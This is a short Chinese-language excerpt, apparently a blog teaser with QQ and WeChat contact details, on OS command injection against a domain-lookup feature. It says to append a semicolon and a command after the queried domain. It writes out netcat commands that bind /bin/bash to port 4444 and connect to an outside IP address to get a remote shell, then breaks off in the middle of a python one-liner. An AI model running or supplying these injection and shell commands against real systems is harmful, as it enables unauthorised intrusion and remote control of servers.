OS command injection

QQ 1285575001 Wechat M010527 技术交流 QQ群599020441 纪年科技aming 查询的域名后面加一个分号然后加命令即可成功执行命令 或者利用nc命令，反弹shell && nc -vlp 4444 -e /bin/bash sudo netstat -plant | grep 4444 nc -vv 10.0.3.198 4444 python -c “impor

>>阅读原文<<